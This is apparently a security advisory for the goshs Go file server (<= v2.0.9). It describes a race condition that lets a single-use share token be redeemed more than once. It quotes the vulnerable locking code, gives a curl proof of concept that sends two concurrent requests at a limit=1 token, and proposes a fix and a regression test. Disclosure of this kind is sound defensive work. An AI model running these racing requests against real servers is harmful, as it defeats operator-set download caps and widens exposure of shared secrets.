Share-link "?token=…" redemption races past download limit Ecosystem: Go Package: "goshs.de/goshs/v2" ("github.com/patrickhener/goshs") Affected: "<= v2.0.9" (every release that shipped the share-link feature) Summary "ShareHandler" reads the share token's "DownloadLimit" under "RLock", releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same "Downloaded"/"DownloadLimit" snapshot, all pass the check, and all are served — exceeding the operator's intended cap. Details ""httpserver/handler.go:968-1018"" (https://github.com/patrickhener/goshs/blob/v2.0.9/httpserver/handler.go#L968-L1018): fs.sharedLinksMu.RLock() entry, ok := fs.SharedLinks[token] fs.sharedLinksMu.RUnlock() // <-- released here if entry.DownloadLimit > 0 || entry.DownloadLimit == -1 { // ...serve file... // <-- whole transfer happens unlocked } fs.sharedLinksMu.Lock() // <-- re-acquired only now current.Downloaded++ if current.Downloaded >= current.DownloadLimit { delete(fs.SharedLinks, token) } fs.sharedLinksMu.Unlock() Between line 978 ("RUnlock") and line 1008 ("Lock"), any number of goroutines can interleave and each observes the same pre-increment limit. Proof of concept goshs -p 18000 -d /tmp/r -b admin:pw & echo data > /tmp/r/f.txt operator issues a one-shot share SHARE=$(curl -su admin:pw "http://localhost:18000/f.txt?share&limit=1") TK=$(echo "$SHARE" | sed -n 's/.token=([^"])".*/\1/p') attacker races two redemptions curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & wait observed: 200 / 200 (both succeed) -> limit=1 redeemed twice Reproduced 5/5 times in a row on a 2026-era M-series Mac during verification. Impact A "single-use" share intended to deliver a one-shot secret can be redeemed N times by N concurrent clients. Combined with any token-leak vector (mail forwarding, browser history, intercepted link, etc.) this multiplies the exfiltration window. Suggested fix Reserve under the write lock before serving — refund only if the serve fails: fs.sharedLinksMu.Lock() entry, ok := fs.SharedLinks[token] if !ok || time.Now().After(entry.Expires) || (entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit) { fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return } entry.Downloaded++ if entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit { delete(fs.SharedLinks, token) } else { fs.SharedLinks[token] = entry } fs.sharedLinksMu.Unlock() // ...serve... Add a regression test that races two requests against a "limit=1" token and asserts exactly one "200". Reporter: Nishant Verma. Reproduced against "goshs v2.0.9" (commit "8fc1e91") on 2026-05-27.